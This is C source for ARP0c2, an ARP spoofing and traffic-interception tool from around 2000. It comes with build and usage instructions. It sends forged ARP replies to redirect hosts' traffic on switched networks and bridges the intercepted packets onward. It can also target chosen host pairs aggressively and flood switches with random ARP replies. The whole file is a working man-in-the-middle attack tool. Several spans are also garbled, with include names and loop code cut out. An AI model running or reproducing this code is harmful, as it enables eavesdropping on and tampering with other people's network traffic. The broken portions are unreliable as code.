/* ARP0c2.c * * ARP redirector / IP bridge * rewrite from the scratch * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: ARP0c2.c,v 1.13 2000/06/25 16:53:44 fx Exp fx $ * * ARP0c2 is a simple connection interceptor for switched networks. * + ARP redirection/spoofing * + automated bridging * + automated routing * + progressive attacks of known IP connections * + network cleanup on exit * + ARP flooding with random IP and Ethernet addresses * * The program is completely userland. No modifications on the host system * needed. * * Details: * ARP requests are replyed by ARP0c with it's onw Ethernet address. The real * destination is requested with ARP requests or is discovered from other * broadcasst traffic. * Intercepted traffic is bridged to the next hop gateway or the destination * address according to a routing table. * Known connections can be intercepted in an agressive way by supplying these * in a file. * * Building on Linux with libpcap: * gcc -o ARP0c2 ARP0c2.c -lpcap * * Usage: * ./ARP0c [-v[v[v]]] -i * * To use a routing table, supply this in TAB seperated order in a external * file: * * * Example: * 192.168.2.0 255.255.255.0 192.168.1.1 * 0.0.0.0 0.0.0.0 192.168.1.254 * * ./ARP0c [-v[v[v]]] -i -r * * To intercept known connections, supply these in a seperate file. One * connection per line. * * Example: * 192.168.1.1 192.168.1.2 * * ./ARP0c [-v[v[v]]] -i -r -a * * To flood a network (and it's switches) with random ARP replys, use: * * ./ARP0c [-v[v[v]]] -i -f */ #include #include #include #include #include #include #include /* for gethostbyname() */ #include /* for inet_ntoa() */ #include /* for inet_ntoa() */ #include /* for uname() */ #include #include /* for IPPROTO_bla consts */ #include #include /* to get my own ETH addr */ #include #include #include /* definitions */ #define MAX_INTERCEPTS 2000 #define MAX_ROUTES 32 #define MAX_AGRESSIVE 64 #define REFRESH_DELAY 5 /* delay between refreshs */ #define REFRESH_INITIAL 5 /* number of initial refreshs */ #define REFRESH_CHECKS 1 /* seconds between checks */ #define CAPLENGTH 1536 /* capture length */ /* all paket types which are of some interest for us */ #define PKTYPE_UNKNOWN 0 #define PKTYPE_ARP_REQUEST 1 #define PKTYPE_ARP_RESPONSE 2 #define PKTYPE_ETHER_BCAST 3 #define PKTYPE_IP_BCAST 4 #define PKTYPE_IP 5 #define PKTYPE_IP_THISHOST 6 #define PKTYPE_IP_ORIG 7 #define PKTYPE_WINDOZE_IP_TEST 8 #define PKTYPE_ARP_THISHOST 9 #define PKTYPE_ARP_FAKE 10 /* types ... * .. for ARP entries ... */ typedef struct { struct ether_addr eth; struct in_addr ip; } arptable_t; /* ... for refresh entries ... */ typedef struct { struct ether_addr eth; /* who asked (ethernet) */ struct in_addr requester_ip; /* who asked (IP) */ struct in_addr requested_ip; /* which IP was requested */ time_t t_check; /* last refresh send */ int fresh_flag; /* to signal a new entry */ } refreshtable_t; /* ... and for routing */ typedef struct { bpf_u_int32 network; bpf_u_int32 netmask; struct in_addr gateway; } routingtable_t; typedef struct { struct in_addr host1,host2; } agressivetable_t; /* ARP header */ #define ARPOP_REQUEST 1 /* ARP request. */ #define ARPOP_REPLY 2 /* ARP reply. */ #define ARPOP_RREQUEST 3 /* RARP request. */ #define ARPOP_RREPLY 4 /* RARP reply. */ struct arphdr { unsigned short int ar_hrd; /* Format of hardware address. */ unsigned short int ar_pro; /* Format of protocol address. */ unsigned char ar_hln; /* Length of hardware address. */ unsigned char ar_pln; /* Length of protocol address. */ unsigned short int ar_op; /* ARP opcode (command). */ unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address. */ unsigned char __ar_sip[4]; /* Sender IP address. */ unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address. */ unsigned char __ar_tip[4]; /* Target IP address. */ }; #define IP_ADDR_LEN (sizeof(struct in_addr)) /* IP header */ struct iphdr { u_char ihl:4, /* header length */ version:4; /* version */ u_char tos; /* type of service */ short tot_len; /* total length */ u_short id; /* identification */ short off; /* fragment offset field */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ u_short check; /* checksum */ struct in_addr saddr; struct in_addr daddr; /* source and dest address */ }; /*************************************************** * Variables ***************************************************/ /* the tables: * + ARP table * + Refresh table * + Routing table * + Agressive table * ... and the corresponding counter */ arptable_t arps[MAX_INTERCEPTS]; refreshtable_t refs[MAX_INTERCEPTS]; routingtable_t routes[MAX_ROUTES]; agressivetable_t agr[MAX_AGRESSIVE]; int arpc, refc, routc, agrc; /* skeleton packets */ u_char pkt_arp_request[( sizeof(struct ether_header)+sizeof(struct arphdr))]; u_char pkt_arp_response[( sizeof(struct ether_header)+sizeof(struct arphdr))]; /* configuration used */ struct { char *device; /* network device name */ int verbose; /* verbosity */ int routing; /* routing enabled */ int agressive; /* agressive interception startup */ int arpflood; /* use ARP flooding */ } cfg; int stop_flag=0; /* signals requested termination */ int atsock; /* RAW socket for sending packets */ pcap_t *cap; /* pcap handle */ struct in_addr local_bcast; /* broadcast address of our interface */ int agressive_goflag=0; /* agressive mode can start */ /********************************************* * Prototypes *********************************************/ void *smalloc(size_t size); /* Network related */ int initialize_socket(void); int identify_ethernet_frame(u_char *frame, int frame_length); int send_ethernet_frame(u_char *frame, int frame_length); /* ARP table management */ int arp_add_entry(struct ether_addr *ethadr, struct in_addr *ipadr); struct ether_addr *arp_find_entry(struct in_addr *ipadr); /* ARP attack functions */ int arp_build_skeletons(void); int arp_request(struct in_addr *ip); int arp_respond( struct ether_addr *sha, struct in_addr *sip, struct in_addr *tip); int arp_refresh(void); int arp_rehonnest(void); void arp_agressive_request(void); int agressive_read(char *filename); void arp_agressive_intercept(void); void arp_flood(void); /* routing and bridging related */ int routing_read_table(char *filename); struct in_addr *routing_find_gateway(struct in_addr *dip); void bridge_packet(u_char *frame, int frame_length); /* sniffer functions */ int initialize_pcap(void); /* signal handler */ void sighandler(int sig); /* alarm handler */ void alarmhandler(int sig); /* additional stuff */ void usage(char *called); void print_tables(void); /* MACROS */ #define PRINTERR(x) { fprintf(stderr,"**ERROR**\n%s",x); } #define VERBOSE(lev,msg) { if (cfg.verbose>=(lev)) { printf("%s",msg); }} /********************************************/ int main(int argc, char **argv) { u_char *pcap_data, *packet; struct pcap_pkthdr *pcap_head, phead; int packet_type; struct iphdr *iph; struct arphdr *arph; struct ether_header *ethh; char option; extern char *optarg; /* clear the tables */ memset(&arps,0,sizeof(arps)); memset(&refs,0,sizeof(refs)); memset(&routes,0,sizeof(routes)); memset(&agr,0,sizeof(agr)); agrc=arpc=routc=refc=0; memset(&cfg,0,sizeof(cfg)); while ((option=getopt(argc,argv,"vfi:r:a:"))!=EOF) { switch (option) { case 'v': /* verbosity */ cfg.verbose++; break; case 'i': /* interface, required */ cfg.device=smalloc(strlen(optarg)); strcpy(cfg.device,optarg); break; case 'r': /* routing table file */ if (routing_read_table(optarg)!=0) return (1); break; case 'a': /* agressive startup */ agressive_read(optarg); cfg.agressive++; break; case 'f': cfg.arpflood++; break; default: /* unknown option */ usage(argv[0]); } } if (!cfg.device) usage(argv[0]); /* start initialization of tables, socket and sniffer */ if (initialize_pcap()!=0) return 1; if (initialize_socket()!=0) return 1; arp_build_skeletons(); /* reached only in 'normal' operation */ if (cfg.verbose) print_tables(); /* register signal handler */ signal(SIGABRT,&sighandler); signal(SIGTERM,&sighandler); signal(SIGINT, &sighandler); signal(SIGHUP, &sighandler); /* this one is for printing tables */ /* if we are here to flood an ARP table, let's do it and don't care about * all the other stuff */ if (cfg.arpflood) arp_flood(); signal(SIGALRM,&alarmhandler); /* for regulary refreshes while sitting in blocked pcap_next(..) */ alarm(REFRESH_CHECKS); /* get mem for pcap's header structure */ pcap_head=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr)); /* send out the ARP requests for all the hosts in the agressive list */ if (cfg.agressive) arp_agressive_request(); /******************** * MAIN loop starts ********************/ while (!stop_flag) { /* some times, pcap returns NULL */ if ((pcap_data=(u_char *)pcap_next(cap,pcap_head))!=NULL) { /* make a local copy of the data, * pcap will overwrite the buffer if needed */ memcpy(&phead,pcap_head,sizeof(struct pcap_pkthdr)); packet=(u_char *)smalloc(phead.caplen); memcpy(packet,pcap_data,phead.caplen); ethh=(struct ether_header *)packet; arph=(struct arphdr *)(packet+sizeof(struct ether_header)); iph=(struct iphdr *)(packet+sizeof(struct ether_header)); switch ((packet_type= identify_ethernet_frame(packet,phead.caplen))) { case PKTYPE_UNKNOWN: /* we don't know it */ VERBOSE(3,"received an unknown packet type\n"); break; case PKTYPE_ARP_REQUEST: VERBOSE(3,"ARP request received\n"); /* send the faked reply */ arp_respond( (struct ether_addr *)&arph->__ar_sha, (struct in_addr *)&arph->__ar_sip, (struct in_addr *)arph->__ar_tip); /* add the sender to out ARP list */ arp_add_entry( (struct ether_addr *)&(arph->__ar_sha), (struct in_addr *)&(arph->__ar_sip)); /* request the real target hw addr */ arp_request((struct in_addr *)&(arph->__ar_tip)); break; case PKTYPE_ARP_RESPONSE: VERBOSE(3,"ARP response received\n"); arp_add_entry( (struct ether_addr *)&(arph->__ar_sha), (struct in_addr *)&(arph->__ar_sip)); break; case PKTYPE_ETHER_BCAST: VERBOSE(3,"Ethernet broadcast received\n"); break; case PKTYPE_IP_BCAST: VERBOSE(3,"IP broadcast received\n"); arp_add_entry( (struct ether_addr *)&(ethh->ether_shost), (struct in_addr *)&(iph->saddr)); break; case PKTYPE_IP: VERBOSE(3,"Intercepted IP packet received\n"); bridge_packet(packet,phead.caplen); break; case PKTYPE_IP_THISHOST: VERBOSE(3,"IP packet from/to this host received\n"); break; case PKTYPE_ARP_THISHOST: VERBOSE(3,"ARP request from this host received\n"); break; case PKTYPE_IP_ORIG: VERBOSE(3,"Unintercepted IP packet received\n"); break; case PKTYPE_ARP_FAKE: VERBOSE(3,"Fake ARP response packet from this host\n"); break; default: VERBOSE(3,"packet identification failed\n"); } /* at the end of it all, free local copy */ free(packet); } /* pcap_data NULL check */ } /*--------- * main loop ends *---------*/ free(pcap_head); arp_rehonnest(); close(atsock); return 0; } /* returns an initialized pointer to a memory area * or hard-exits on failure */ void *smalloc(size_t size) { void *p; if ((p=malloc(size))==NULL) { PRINTERR("smalloc(): malloc failed\n"); exit (-2); } memset(p,0,size); return p; } /* opens the raw socket, * RETURNS 0 on success or -1 on error */ int initialize_socket(void) { struct ifreq ifr; if ((atsock=socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)))<0) { perror("socket()"); PRINTERR("Could not get SOCK_PACKET socket\n"); return (-1); } /* get IP addr */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name)); if (ioctl(atsock, SIOCGIFADDR, &ifr) < 0 ) { perror("ioctl()"); PRINTERR("Could not read our IP address\n"); return (-1); } memcpy(&arps[0].ip.s_addr, &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr, IP_ADDR_LEN); /* get HW addr */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name)); if (ioctl(atsock, SIOCGIFHWADDR, &ifr) < 0 ) { perror("ioctl()"); PRINTERR("Could not read our HW address\n"); return (-1); } memcpy(&arps[0].eth,&ifr.ifr_hwaddr.sa_data,ETH_ALEN); /* get bcast addr */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name)); if (ioctl(atsock, SIOCGIFBRDADDR, &ifr) < 0 ) { perror("ioctl()"); PRINTERR("Could not read our broadcast address\n"); return (-1); } memcpy(&local_bcast.s_addr, &(*(struct sockaddr_in *)&ifr.ifr_broadaddr).sin_addr.s_addr, IP_ADDR_LEN); /* no we know exactly one ARP entry */ arpc=1; return 0; /* fine */ } /* tries to identify an Ehternet frame * RETURNS one of PKTYPE_* */ int identify_ethernet_frame(u_char *frame, int frame_length) { struct ether_header *eth; struct iphdr *ip; struct arphdr *arp; u_char eth_bcast[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; eth=(struct ether_header *)frame; if (ntohs(eth->ether_type)==ETHERTYPE_ARP) { /* it is an ARP packet */ arp=(struct arphdr *)(frame+sizeof(struct ether_header)); if (ntohs(arp->ar_op)==ARPOP_REQUEST) { /* this is a request */ if (!memcmp(&(arp->__ar_sha),&(arps[0].eth),ETH_ALEN)) { /* it's me asking for ARP .. ups */ return PKTYPE_ARP_THISHOST; } else if (!memcmp(&(arp->__ar_sip),&(arp->__ar_tip),IP_ADDR_LEN)) { /* Windoze IP availability test */ return PKTYPE_WINDOZE_IP_TEST; } else { /* normal interceptable ARP request */ return PKTYPE_ARP_REQUEST; } } else if (ntohs(arp->ar_op)==ARPOP_REPLY) { if (!memcmp(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN)) { /* ARP response from tis host - guess it's a fake */ return PKTYPE_ARP_FAKE; } else { /* this is a response */ return PKTYPE_ARP_RESPONSE; } } else { /* RARP not yet implemented */ printf("Unknown ARP operation\n"); return PKTYPE_UNKNOWN; } } else if (ntohs(eth->ether_type)==ETHERTYPE_IP) { /* at least it is IP */ ip=(struct iphdr *)(frame+sizeof(struct ether_header)); if (!memcmp(&(ip->daddr),&local_bcast,IP_ADDR_LEN)) { /* it's a broadcast */ return PKTYPE_IP_BCAST; } else if ( (!memcmp(&(ip->daddr),&(arps[0].ip),IP_ADDR_LEN)) ||(!memcmp(&(ip->saddr),&(arps[0].ip),IP_ADDR_LEN)) ) { /* it's my host speeking on layer 3 */ return PKTYPE_IP_THISHOST; } else if (!(memcmp(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN))) { /* it's a packet send from me ... */ return PKTYPE_IP_THISHOST; } else if ( (memcmp(eth->ether_dhost,&(arps[0].eth),ETH_ALEN)) &&(memcmp(eth->ether_shost,&(arps[0].eth),ETH_ALEN)) ){ /* it's a normal IP packet not from or to me */ return PKTYPE_IP_ORIG; } else { /* it must be an intercepted IP packet */ return PKTYPE_IP; } } else if (!memcmp(eth->ether_dhost,ð_bcast,ETH_ALEN)) { /* some kind of ethernet broadcast - may be usefull */ return PKTYPE_ETHER_BCAST; } else { /* this is strange */ return PKTYPE_UNKNOWN; } } /* send's the ethernet frame, * RETURNS the number of octets send or -1 on error */ int send_ethernet_frame(u_char *frame, int frame_length) { struct sockaddr sa; int sendBytes; memset(&sa,0,sizeof(sa)); strncpy(sa.sa_data,cfg.device,sizeof(sa.sa_data)); sendBytes=sendto(atsock,frame,frame_length,0,&sa,sizeof(sa)); if (sendBytes<0) { perror("send_ethernet_frame(): sendto"); return (-1); } else if (sendBytes=MAX_INTERCEPTS) return (-1); for (i=0;iether_type= ethreq->ether_type = htons(ETHERTYPE_ARP); arpresp->ar_hrd= arpreq->ar_hrd= htons(1); arpresp->ar_pro= arpreq->ar_pro= htons(0x0800); arpresp->ar_hln= arpreq->ar_hln= 6; arpresp->ar_pln= arpreq->ar_pln= 4; /* on request, we are the sender and the destination is broadcast */ arpreq->ar_op=htons(ARPOP_REQUEST); memcpy(&(ethreq->ether_shost),&(arps[0].eth),ETH_ALEN); memcpy(&(arpreq->__ar_sha),&(arps[0].eth),ETH_ALEN); memcpy(&(arpreq->__ar_sip),&(arps[0].ip),IP_ADDR_LEN); memcpy(&(ethreq->ether_dhost),ð_bcast,ETH_ALEN); memset(&(arpreq->__ar_tha),0,ETH_ALEN); /* on response, the 'sender' hardware address is me, even on LLC, but the * IP is the requested */ arpresp->ar_op=htons(ARPOP_REPLY); memcpy(&(arpresp->__ar_sha),&(arps[0].eth),ETH_ALEN); memcpy(&(ethresp->ether_shost),&(arps[0].eth),ETH_ALEN); return 0; } /* send out an ARP request * RETURNS 0 */ int arp_request(struct in_addr *ip) { struct arphdr *arph; arph=(struct arphdr *)(pkt_arp_request+sizeof(struct ether_header)); memcpy(&(arph->__ar_tip),ip,IP_ADDR_LEN); send_ethernet_frame(pkt_arp_request,sizeof(pkt_arp_request)); return 0; } int arp_respond( /* who (eth) asked, asking IP, requested IP */ struct ether_addr *sha, struct in_addr *sip, struct in_addr *tip) { struct arphdr *arph; struct ether_header *ethh; int i; int in_list_flag=0; /* if refreshes are in the maximum, return now */ if (refc>=MAX_INTERCEPTS) return (-1); arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header)); ethh=(struct ether_header *)pkt_arp_response; memcpy(&(ethh->ether_dhost),sha,ETH_ALEN); memcpy(&(arph->__ar_tha),sha,ETH_ALEN); memcpy(&(arph->__ar_tip),sip,IP_ADDR_LEN); memcpy(&(arph->__ar_sip),tip,IP_ADDR_LEN); send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); if (cfg.verbose) { printf("ARP response send to %s ",inet_ntoa(*sip)); printf("claiming to be %s\n",inet_ntoa(*tip)); } /* look in the refresh list if we already have this combi */ for (i=0;i2) printf("REFRESH (time): to %s (%ld)\n", inet_ntoa(refs[i].requester_ip),time(NULL)); memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN); send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); refs[i].t_check=time(NULL); } else if (refs[i].fresh_flag2) printf("REFRESH (new): to %s\n", inet_ntoa(refs[i].requester_ip)); memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN); send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); refs[i].t_check=time(NULL); } } return 0; } /* on close, be honnest to the hosts and tell them what you know */ int arp_rehonnest(void) { struct arphdr *arph; struct ether_header *ethh; struct ether_addr *ea; int i; arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header)); ethh=(struct ether_header *)pkt_arp_response; if (cfg.verbose>1) printf("Cleaning up the network ...\n"); for (i=0;iether_dhost),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sha),ea,ETH_ALEN); if (cfg.verbose>1) { printf("Telling %s ",inet_ntoa(refs[i].requester_ip)); printf("that %s is at %02X:%02X:%02X:%02X:%02X:%02X\n", inet_ntoa(refs[i].requested_ip), ea->ether_addr_octet[0], ea->ether_addr_octet[1], ea->ether_addr_octet[2], ea->ether_addr_octet[3], ea->ether_addr_octet[4], ea->ether_addr_octet[5]); } send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); } } return 0; } void arp_agressive_request(void) { int i; for (i=0;i=MAX_AGRESSIVE) continue; if ((lp=strchr(line,DELIMITER))==NULL) { PRINTERR("Incomplete line in agressive attack file\n"); return (-1); } lp[0]='\0'; lp++; if (inet_aton(line,(struct in_addr *)&(agr[agrc].host1))==0) { PRINTERR("Incorrect entry in agressive attack file\n"); return (-1); } if (inet_aton(lp,(struct in_addr *)&(agr[agrc].host2))==0) { PRINTERR("Incorrect entry in agressive attack file\n"); return (-1); } if ((++agrc)>MAX_AGRESSIVE) return (0); } fclose(fd); return 0; } /* starts the agressive interception */ void arp_agressive_intercept(void) { int i; struct ether_addr *ea,*ea2; if (cfg.verbose) printf("++ Agressive interception ...\n"); for (i=0;iether_shost),&ea ,ETH_ALEN); memcpy(&(arph->__ar_sip),&ipaa ,IP_ADDR_LEN); memcpy(&(arph->__ar_sha),&ea ,ETH_ALEN); /* random destination */ for (j=0;jether_dhost),&ea,ETH_ALEN); memcpy(&(arph->__ar_tha),&ea,ETH_ALEN); memcpy(&(arph->__ar_tip),&ipaa,IP_ADDR_LEN); if (cfg.verbose>1) { memcpy(&ipa,&ipaa,IP_ADDR_LEN); printf(" * * flood * * |" "%18s is at %02X:%02X:%02X:%02X:%02X:%02X\n", inet_ntoa(ipa), ea.ether_addr_octet[0], ea.ether_addr_octet[1], ea.ether_addr_octet[2], ea.ether_addr_octet[3], ea.ether_addr_octet[4], ea.ether_addr_octet[5]); } send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); } printf("Flooding complete\n"); sleep(2); } close(atsock); exit(0); } /* routing related */ /* routing_read_table(..) reads a routing table form the file supplied as * filename and stores this table in routes[..] * file format: * DD\n * where D is the DELIMITER defined here * NOTE: entry 0 in routes[..] is filled in by initialize_pcap() ! * RETURNS: 0 on success or -1 on error */ int routing_read_table(char *filename) { #define MAX_LINE_LENGTH 512 #define DELIMITER '\t' FILE *fd; char *line,*lp,*lp2; /* string manipulation pointer */ int loc_routc=1; /* local routc variable */ if ((fd=fopen(filename,"rt"))==NULL) { PRINTERR("Could not open routing file\n"); return (-1); } line=(char *)smalloc(MAX_LINE_LENGTH); while (fgets(line,MAX_LINE_LENGTH-1,fd)!=NULL) { /* comment's are ignored */ if (line[0]=='#') continue; if (loc_routc>=MAX_ROUTES) continue; /* get network address */ if ((lp=strchr(line,DELIMITER))==NULL) { PRINTERR("incomplete line in routing table file\n"); return (-1); } lp[0]='\0'; lp++; if (inet_aton(line,(struct in_addr *)&routes[loc_routc].network)==0) { PRINTERR("incorrect entry in routing table file\n"); return (-1); } /* get the netmask */ if ((lp2=strchr(lp,DELIMITER))==NULL) { PRINTERR("incomplete line in routing table file\n"); return (-1); } lp2[0]='\0'; lp2++; if (inet_aton(lp,(struct in_addr *)&routes[loc_routc].netmask)==0) { PRINTERR("incorrect entry in routing table file\n"); return (-1); } /* get gateway */ if (inet_aton(lp2,(struct in_addr *)&routes[loc_routc].gateway)==0) { PRINTERR("incorrect entry in routing table file\n"); return (-1); } memset(line,0,MAX_LINE_LENGTH); loc_routc++; } fclose(fd); routc=loc_routc; return 0; } /* looks for a routing entry in the table and returns a pointer to * the gateway or NULL if local or unknown */ struct in_addr *routing_find_gateway(struct in_addr *dip) { bpf_u_int32 dnet; int i; char no_gw[4] = { 0,0,0,0 }; memcpy(&dnet,dip,IP_ADDR_LEN); for (i=0;idaddr)))==NULL) { /* local packet or gateway unknown */ if ((ea=arp_find_entry(&(ip->daddr)))==NULL) { /* hw addr unknown - send ARP request and drop this packet */ arp_request(&(ip->daddr)); return; } /* hw addr known .. continue */ } else { /* routed with gateway gw .. */ if ((ea=arp_find_entry(gw))==NULL) { /* hw addr of gateway unknown - request and drop */ arp_request(gw); return; } /* hw addr known ... continue */ } if (cfg.verbose>2) { printf("-- bridge: %s",inet_ntoa(ip->daddr)); printf(" to %02X:%02X:%02X:%02X:%02X:%02X\n", ea->ether_addr_octet[0], ea->ether_addr_octet[1], ea->ether_addr_octet[2], ea->ether_addr_octet[3], ea->ether_addr_octet[4], ea->ether_addr_octet[5]); } sendbuf=(u_char *)smalloc(frame_length); memcpy(sendbuf,frame,frame_length); eth=(struct ether_header *)sendbuf; /* replace ethernet frame destination address and send it out ! */ memcpy(&(eth->ether_dhost),ea,ETH_ALEN); /* TEST: replace sender addr as well */ memcpy(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN); send_ethernet_frame(sendbuf,frame_length); if (cfg.verbose>1) { printf("-- bridged -- %s",inet_ntoa(ip->saddr)); printf(" -> %s\n",inet_ntoa(ip->daddr)); } free(sendbuf); } /* sniffer functions */ /* initialize_pcap(..) sets up all things for pcap * NOTE: fills in routes[0] * RETURNS: 0 on success or -1 on error */ int initialize_pcap(void) { #define FILTER "arp or ip" char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ struct bpf_program cfilter; /* the compiled filter */ /* get my network and netmask */ memset(&routes[0],0,sizeof(routingtable_t)); if (pcap_lookupnet(cfg.device, &routes[0].network,&routes[0].netmask,pcap_err)!=0) { fprintf(stderr,"pcap_lookupnet(): %s\n",pcap_err); return (-1); } /* open the sniffer */ if ((cap=pcap_open_live(cfg.device,CAPLENGTH, 1, /* in promi mode */ 0, /* not timeouts */ pcap_err))==NULL) { fprintf(stderr,"pcap_open_live(): %s\n",pcap_err); return (-1); } if (pcap_datalink(cap)!=DLT_EN10MB) { PRINTERR("ARP0c is for Ethernet only, sorry.\n"); return (-1); } if (pcap_compile(cap,&cfilter,FILTER,0,routes[0].netmask)!=0) { pcap_perror(cap,"pcap_compile()"); return (-1); } if (pcap_setfilter(cap,&cfilter)!=0) { pcap_perror(cap,"pcap_setfilter()"); return (-1); } return 0; } /* signal handler */ void sighandler(int sig) { if (sig==SIGHUP) { print_tables(); } else { stop_flag++; pcap_close(cap); } } /* alarm handler */ void alarmhandler(int sig) { arp_refresh(); if (agressive_goflag) arp_agressive_intercept(); alarm(REFRESH_CHECKS); } void usage(char *called) { printf("Project ARP0c\n" "$Id: ARP0c2.c,v 1.13 2000/06/25 16:53:44 fx Exp fx $\n\n"); printf("Usage: %s -i [-r ] [-v[v]]\n",called); exit(1); } void print_tables(void) { struct in_addr temp; int i; printf("Local host:\n" "%20s (%02X:%02X:%02X:%02X:%02X:%02X) ", inet_ntoa(arps[0].ip), arps[0].eth.ether_addr_octet[0], arps[0].eth.ether_addr_octet[1], arps[0].eth.ether_addr_octet[2], arps[0].eth.ether_addr_octet[3], arps[0].eth.ether_addr_octet[4], arps[0].eth.ether_addr_octet[5]); printf("Broadcast: %s\n",inet_ntoa(local_bcast)); printf("Routing table:\n%20s%20s%20s\n","Network","Netmask","Gateway"); for (i=0;i